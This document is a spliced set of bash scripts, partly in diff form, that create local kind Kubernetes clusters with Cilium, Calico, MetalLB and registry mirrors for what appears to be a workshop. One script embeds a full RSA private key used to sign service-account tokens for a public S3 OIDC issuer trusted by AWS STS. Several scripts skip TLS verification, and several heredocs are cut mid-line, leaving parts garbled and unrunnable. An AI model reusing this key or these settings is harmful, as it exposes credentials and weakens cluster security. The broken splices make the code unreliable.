+5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" 